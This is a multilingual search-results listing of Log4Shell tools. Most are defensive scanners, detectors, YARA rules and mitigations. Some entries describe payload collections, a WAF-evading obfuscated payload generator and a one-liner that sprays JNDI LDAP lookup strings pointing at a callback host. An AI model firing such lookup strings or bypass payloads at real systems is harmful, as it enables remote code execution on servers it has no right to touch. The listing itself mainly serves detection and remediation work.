280 matches found
log4shell-tools
log4shell.tools log4shell.tools 是一个工具，允许你运行测试来检查你的某个应用程序是否受到 log4j 中近期漏洞的影响：CVE-2021-44228 和 CVE-2021-45046 。 这是运行 https://log4shell.alexbakker.me 的代码。如果你想查看代码或在自有环境中运行一个实例，那你来对地方了。 工作原理 该工具会生成一个唯一 ID 供你测试使用。点击开始后，我们会为你生成一段类似这样的文本：$jndi:ldap://.dns.log4shell.tools:12345/ 。将其复制并粘贴到任何你怀疑最终可能会被传给...
nginx-mitigate-log4shell
nginx-mitigate-log4shell Mitigate log4shell（CVE-2021-44228およびCVE-2021-45046）脆弱性攻撃をNginx LUAスクリプトを使用して軽減します。 Nginx luaモジュール（https://www.nginx.com/resources/wiki/modules/lua/）が有効になっている必要があります。 server ... コンテキスト内で include /path/to/mitigate-log4shell.conf; を使用します。複数のサーバーコンテキストに含めることができます。 http...
log4j-detector
Log4-detector Scanner that detects vulnerable Log4J versions to help teams assess their exposure to CVE-2021-44228 CRITICAL, CVE-2021-45046, CVE-2021-45105, and CVE-2021-44832. Can search for Log4J instances by carefully examining the complete file-system, including all installed applications. It...
Log4j-CVE-Detect
Log4J-CVE-Detect 此仓库包含一组 YARA 规则，通过查找受影响版本中出现的若干特征，来检测易受 CVE-2021-44228、CVE-2021-45046 和/或 CVE-2021-45105 影响的 log4j 版本。 此工具可递归处理 Docker 镜像、系统软件包、文件系统镜像，甚至安装介质等二进制文件。有关受支持文件格式的完整列表，请参阅"工作原理"一节。 CVE-2021-44228 查找 JndiManager 构造函数的特征（ 2.15.0）。 CVE-2021-45046 查找未导入 JndiManager 的 Interpolator 类（...
Log4Shell-Payloads
🚨 Log4Shell 漏洞利用载荷集合 精心整理的 Log4Shell / Log4J 漏洞利用载荷 ，针对： CVE-2021-45046 CVE-2022-42889 🔗 由 @nav1n0x 🔥 单行载荷 ✅ 单行载荷1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l L4SFuzzList root@kitploit: ✅...
log4j-scan
log4j-scan A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs. Fuzzing for more than 60 HTTP request headers not only 3-4 headers as previously seen tools. Fuzzing for HTTP POST Data parameters. Fuzzing for JSON data parameters...
log4j-samples
log4j-samples 用于帮助 log4j 扫描器 / 检测器（包括我们自己的 log4j-detector）提高检测 CVE-2021-45046 和 CVE-2021-44228 准确性的 log4j 库版本样本。 这些样本包括 shaded JAR、uber JAR、Spring Boot 可执行 JAR、JAR 中的 JAR、解压后的 JAR（exploded JAR）等。 目录结构 ./false-hits/ - 这里的任何样本都不存在 CVE-2021-45046 或 CVE-2021-44228 漏洞。 ./old-hits/ -...
log4jjndilookupremove
log4jjndilookupremove 指定されたディレクトリ内のjarからLog4JのJndiLookup.classを削除するシンプルなスクリプトです。 このスクリプトは、アプリケーションが適切なLog4Jバージョンで再パッケージ化されるまでの一時的な対策として、CVE-2021-45046およびCVE-2021-44228を解決するために使用できます。 使用方法 Linuxまたはその他のnixシステムでは、スキャンしたいディレクトリでこのスクリプトを実行するか、ターゲットディレクトリを最初のパラメータとして追加します: root@kitploit: $. scanjars.sh...
Log4Shell-obfuscated-payloads-generator
Log4Shell-obfuscated-payloads-generator Log4Shell-obfuscated-payloads-generator可以生成初级混淆的或二级混淆的CVE-2021-44228或CVE-2021-45046 payloads，以规避WAF检测。 Log4Shell-obfuscated-payloads-generator的设计思想 安装 root@kitploit: git clone https://github.com/r3kind1e/Log4Shell-obfuscated-payloads-generator.git...
log4j2_vul_local_scanner
Escáner Local de Vulnerabilidad Log4j2 CVE-2021-45046 Script de detección local de vulnerabilidades Log4j, escanea todos los procesos java del host, comprueba si se ha introducido el jar log4j-core vulnerable, y si es posible sufrir un ataque de ejecución remota de código CVE-2021-45046. Sube el...
Log4j_scan_Advance
log4j-scan 脆弱なlog4jホストを発見するための完全自動化された、正確で広範なスキャナー 特徴 URLリストのサポート。 60以上のHTTPリクエストヘッダーに対するファジング（従来のツールのように3〜4ヘッダーだけではありません）。 HTTP POSTデータパラメータに対するファジング。 JSONデータパラメータに対するファジング。 脆弱性の発見と検証のためのDNSコールバックをサポート。 WAFバイパスペイロード。 🚨 お知らせ Log4J...
Log4Shell-Sandbox-Signature
Log4Shell-Sandbox-Signature Log4ShellCVE-2021-45046 サンドボックスシグネチャ 正規表現 : https://github.com/back2root/log4shell-rex Cape サンドボックスシグネチャ Cuckoo サンドボックスシグネチャ...
Log4Shell
log4shell A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs. Fuzzing for more than 60 HTTP request headers. Fuzzing for HTTP POST Data parameters. Fuzzing for JSON data parameters. Supports DNS callback for vulnerability...
CVE-2021-45046-Info
CVE-2021-45046-信息 哦不，又一个漏洞 POC root@kitploit: $ctx:apiversion - %dyyyy-MM-dd HH:mm:ss %-5p %c1:%L - %mnolookups%n 链接 https://nvd.nist.gov/vuln/detail/CVE-2021-45046 https://www.datadoghq.com/blog/log4j-log4shell-vulnerability-overview-and-remediation/...
PowerShell-Log4J-Scanner
PowerShell-Log4J-Scanner puede encontrar, analizar y parchear archivos Log4J debido a CVE-2021-44228, CVE-2021-45046 sitio oficial de Apache: https://logging.apache.org/log4j/2.x/download.html El script es para Powershell, debería funcionar en Win10 o Win11...
log4j2-CVE-2021-45046
Log4j2 漏洞示例应用（CVE-2021-45046） 受影响版本：从 2.0-beta9 到 2.15.0 的所有版本 此应用程序基于存在 CVE-2021-45046 漏洞的 Spring Boot Web 应用。 它使用 Log4j 2.14.1（通过 spring-boot-starter-log4j2 2.6.1）。 运行应用程序 运行它： root@kitploit: Import the project in Java IDE as a maven project Run CVEMainApplication.java as a spring boot app...
log4j-scanner
log4j-scanner Log4j 漏洞扫描器是一款自动化扫描器，用于发现 Web 应用程序中的 log4j（CVE-2021-44228 和 CVE-2021-45046）漏洞。 功能特性 1- 支持扫描多个 URL 2- 内置可绕过部分 WAF 的 Payload 3- 支持 GET 和 POST 请求 4- 支持自定义 Payload 和请求头文件 5- 可对 POST 数据参数以及 JSON 参数进行模糊测试 安装 git clone https://github.com/manishkanyal/log4j-scanner.git cd log4j-scanner...
Log-4j-scanner
log4j-scan Un escáner totalmente automatizado, preciso y extenso para encontrar hosts vulnerables a log4j Características Soporte para listas de URLs. Fuzzing de más de 60 cabeceras de solicitud HTTP no solo 3-4 cabeceras como en herramientas vistas anteriormente. Fuzzing de parámetros de datos...